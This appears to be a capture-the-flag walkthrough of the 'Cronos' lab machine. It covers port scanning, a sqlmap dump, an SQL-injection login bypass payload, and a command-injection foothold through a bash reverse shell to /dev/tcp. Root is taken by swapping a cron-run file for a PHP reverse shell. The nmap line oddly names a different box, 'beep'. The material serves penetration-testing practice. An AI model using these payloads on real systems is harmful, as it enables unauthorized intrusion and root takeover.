Cronos is a medium Linux machine that focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability

Difficulty:

Medium

Enumeration

First I check for available open ports.

nmap -sC -sV -A -oG beep beep.htb

|Ports|Service
|22| ssh OpenSSH 7.2p2 (4Ubuntu2.1)
|53| DNS
|80| Apache httpd 2.4.18

Next, I did directory brute-forcing but nothing interesting showed up.

As there is a DNS server running I did a subdomain brute-forcing.

Foothold

Upon visiting the subdomain I found a login page.

I have intercepted the request and saved the request as file.

Now I used SQLMAP with the file to find credentials for the website.

sqlmap -r sql.req --batch --dump --level 5 --risk 3

I tried the login but that didn’t work. So, I tried SQL injection with user admin.

Payload → admin'-- -

Now I got in and found traceroute/ping option.

This looks like an OS command injection vulnerability.
So I intercepted the request and used a bash reverse shell to make the server connect to me.

Payload → bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1';

Note: Make sure the payload is URL encoded.

And we got a shell !!

Privilege Escalation

After checking with Linpeas I found a cronjob running with root permission.

So I have replaced the file with PHP-reverse-shell and renamed it to artisan.

After the cronjob executed I got a reverse shell with Root !!